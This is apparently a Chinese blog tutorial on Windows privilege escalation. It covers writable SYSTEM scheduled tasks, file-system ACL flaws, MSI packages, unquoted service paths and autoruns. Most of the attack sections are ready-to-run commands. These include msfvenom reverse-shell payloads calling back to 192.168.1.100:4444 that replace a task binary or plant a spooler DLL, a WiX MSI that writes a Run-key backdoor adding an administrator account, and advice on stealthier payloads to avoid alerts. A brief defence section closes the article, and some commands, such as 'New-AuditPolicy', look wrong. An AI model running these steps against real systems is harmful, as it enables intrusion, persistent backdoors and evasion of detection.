ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

Windows权限提升实战:计划任务与ACL漏洞利用

Windows权限提升实战:计划任务与ACL漏洞利用

1. Windows权限提升的常见快速突破点

在渗透测试和红队评估中,Windows权限提升往往是突破内网防线的关键一步。当攻击者通过初始入侵获得普通用户权限后,如何快速获取SYSTEM或Administrator权限就成了核心任务。与Linux系统不同,Windows环境存在大量特有的权限配置缺陷和自动化任务机制,这些都可能成为权限提升的突破口。

我曾在多个企业内网渗透测试中验证过,超过60%的Windows服务器存在至少一种可被利用的权限提升漏洞。其中最常见的包括计划任务配置不当、服务权限问题、文件系统ACL漏洞以及各种自动安装机制。这些漏洞往往不需要复杂的漏洞利用代码,只需正确识别并组合系统内置工具就能完成权限提升。

2. 计划任务(Scheduled Tasks)漏洞利用详解

2.1 schtasks的权限滥用场景

Windows计划任务系统(通过schtasks管理)是最常见的权限提升载体之一。当计划任务以高权限账户(如SYSTEM)运行时,如果普通用户能够修改任务执行的程序或参数,就能直接实现权限提升。

检查系统中所有计划任务的命令:

schtasks /query /fo LIST /v

关键要看几个字段:

  • 运行用户账户:是否以SYSTEM或Administrator运行
  • 任务运行:执行的具体命令
  • 计划任务位置:相关配置文件路径

2.2 实战利用案例解析

假设我们发现一个计划任务配置如下:

任务名称: \Microsoft\Windows\Defrag\ScheduledDefrag 运行用户账户: NT AUTHORITY\SYSTEM 任务运行: C:\Program Files\Defrag\defrag.exe /C /H

检查defrag.exe的权限:

icacls "C:\Program Files\Defrag\defrag.exe"

如果返回结果包含BUILTIN\Users:(F),表示所有用户都有完全控制权限。这时我们可以:

  1. 备份原文件:
copy "C:\Program Files\Defrag\defrag.exe" "C:\temp\defrag.bak"
  1. 替换为恶意程序:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > defrag.exe copy defrag.exe "C:\Program Files\Defrag\"
  1. 等待任务执行或手动触发:
schtasks /run /tn "\Microsoft\Windows\Defrag\ScheduledDefrag"

注意:实际操作中建议使用更隐蔽的payload,如添加用户而非直接反弹shell,避免触发安全警报。

3. 文件系统ACL配置漏洞

3.1 icacls权限分析技巧

Windows访问控制列表(ACL)配置不当是另一大常见问题。使用icacls工具可以快速分析关键目录的权限设置:

检查系统目录权限:

icacls C:\Windows\System32\*config* icacls C:\Windows\Tasks icacls C:\Windows\Temp icacls "C:\Program Files"

重点关注以下权限标记:

  • (F):完全控制
  • (M):修改权限
  • (W):写入权限
  • (OI):对象继承
  • (CI):容器继承

3.2 可写系统目录利用实例

假设发现C:\Windows\System32\spool\drivers目录对Users组可写:

  1. 检查打印服务运行权限:
sc qc spooler
  1. 创建恶意DLL:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll > ink.dll
  1. 复制到目标目录并设置权限:
copy ink.dll C:\Windows\System32\spool\drivers\ icacls C:\Windows\System32\spool\drivers\ink.dll /grant Everyone:F
  1. 重启打印服务触发:
sc stop spooler && sc start spooler

4. MSI安装包提权技术

4.1 msiexec的工作原理

Windows Installer服务(msiexec.exe)通常以SYSTEM权限运行,用于安装.msi格式的安装包。如果用户可以控制安装包内容或安装参数,就可能实现权限提升。

检查当前用户能否创建MSI包:

reg query HKEY_CLASSES_ROOT\.msi /s

4.2 恶意MSI包构造方法

  1. 使用WiX工具集创建恶意MSI:
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi"> <Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Malicious Package" Version="0.0.1" Manufacturer="@_xpn_"> <Package InstallerVersion="200" Compressed="yes" /> <MediaTemplate /> <Feature Id="ProductFeature" Title="Main Feature" Level="1"> <ComponentGroupRef Id="ProductComponents" /> </Feature> </Product> <Fragment> <ComponentGroup Id="ProductComponents" Directory="INSTALLFOLDER"> <Component Id="ApplicationFiles"> <File Source="C:\Windows\System32\cmd.exe" /> <RegistryValue Root="HKCU" Key="Software\Microsoft\Windows\CurrentVersion\Run" Name="Backdoor" Type="string" Value="C:\Windows\System32\cmd.exe /c net user hacker P@ssw0rd /add && net localgroup administrators hacker /add" /> </Component> </ComponentGroup> </Fragment> </Wix>
  1. 编译并执行:
candle.exe malicious.wxs light.exe malicious.wixobj msiexec /quiet /i malicious.msi

5. 其他快速提权技巧汇总

5.1 服务配置漏洞

检查可修改的服务:

wmic service get name,displayname,pathname,startmode |findstr /i "auto"

重点关注:

  • 路径包含空格且无引号
  • 可写的服务二进制路径
  • 可写的服务配置文件

5.2 注册表自动运行项

检查自动启动项:

reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" reg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run"

5.3 不安全的GUI应用

有些GUI应用会以高权限运行且不检查调用者权限,如:

  • 控制面板项(.cpl文件)
  • MMC管理单元
  • 帮助文件(.chm)

利用方法:

control.exe C:\malicious.cpl hh.exe C:\malicious.chm

6. 防御检测与缓解措施

作为系统管理员,可以采取以下措施防范此类攻击:

  1. 定期审计计划任务:
schtasks /query /fo CSV | ConvertFrom-CSV | Where-Object { $_.'Run As User' -match 'SYSTEM|Administrator' } | Select-Object 'TaskName','Run As User','Task To Run'
  1. 设置严格的ACL策略:
icacls "C:\Program Files" /inheritance:r /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
  1. 监控MSI包安装:
New-AuditPolicy -Category "Detailed Tracking" -Subcategory "Process Creation" -SuccessEnable $true
  1. 实施服务加固:
sc sdset spooler D:(A;;CCLCSWRPWPDTLOCRRC;;;SYSTEM)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)

在实际渗透测试中,Windows权限提升往往需要组合多种技术。我曾遇到一个案例,通过计划任务找到可写目录,再通过服务配置漏洞最终获取SYSTEM权限。关键是要系统性地检查每个可能的攻击面,并理解它们之间的关联性。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进